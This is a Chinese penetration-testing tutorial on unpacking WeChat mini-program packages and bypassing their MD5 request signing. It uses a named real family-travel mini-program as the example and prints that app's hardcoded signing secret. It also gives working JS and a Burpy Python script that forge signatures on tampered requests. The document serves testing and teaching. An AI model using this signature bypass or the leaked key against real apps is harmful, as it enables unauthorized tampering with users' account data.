前言:
吃梅菜扣肉,喝听花白酒,撸淀粉肠子,品怨种人生。
小程序反编译:
0x01、获取代码包:
PC端:默认存储位置:%USERPROFILE%\Documents\WeChat Files\id\
,APP_.wxapkg就是我们要找的加密包
移动端:/data/data/com.tencent.mm/MicroMsg/xxxxxxxxxxxxxxxxxxxxxxxx/appbrand/pkg
0x02、解密代码包
目前因为微信更新了,需要使用unveilr来进行反编译:
反编译成功后,会在当前目录下生成一个 APP文件夹,这里面就是小程序源码。
可以使用微信小程序开发者工具打开:
0x03、sign签名绕过:
这里以父母邦亲子旅行酒店营地乐园活动小程序
为例,在修改手机号处进行测试,观察到数据包如下:
当我们修改请求体中的数据再发送会提示签名失败,这时我们翻阅它的源码,看看这个sign是如何生成的:
整个 create_sign 函数的目的是将对象 r 的所有有效属性(除去某些特定属性)的所有内容按照键值对顺序排序、拼接成字符串并存储到数组 e,最后与传入的 t 参数连接起来进行MD5哈希运算,生成最终的签名。
按照上述请求包,最后得到的值是:phone_num=15xxxxxxxx5&scene=1256&version=3.3.13d19e4abd1036063faa4218c139378c0e
返回值为9a811d3130600d1399945346c59c0c07
,可以发现是md5加密,未加盐。
编写js,引用该方法:
"use strict";
var a = require("./md5.js");
var i = {"phone_num":"15xxxxxxxx5","scene":1256,"version":"3.3.13", "appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);
0x04、burpy插件使用:
在分析加密方式后,如果是自己写脚本或通过网站加解密再粘贴到burp中进行测试,都十分麻烦。因此,可以考虑结合burpy插件来进行漏洞测试。
脚本编写:
def encrypt(self, header, body):
'''
Auto Enc/Dec feature require this function
'''
enc_str = ''
json_body = json.loads(body)
json_body['sign'] = 'aaaaaaaaa'
for key,value in json_body.items():
if key not in ['sign', 'appid', 'imgupload', 'version']:
enc_str += key + '=' + str(value) + '&'
enc_str += 'version=' + str(json_body['version']) + 'd19e4abd1036063faa4218c139378c0e'
json_body['sign'] = self.md5_enc(enc_str)
return header, json.dumps(json_body)
def md5_enc(self, data):
md5 = hashlib.md5()
md5.update(data.encode('utf-8'))
result = md5.hexdigest()
return result
补充:此处代码还需要完善,因为enc_str涉及到排序的问题,可能需要多次测试来进行确定。
在Burpy PY file path:里面指定好你自己的python脚本。本身Burpy也提供了脚本模板,可以直接在它的脚本模板中进行修改
这里选择打开enable auto enc/dec
会自动调用encrypt方法,在点击重放时自动进行加解密。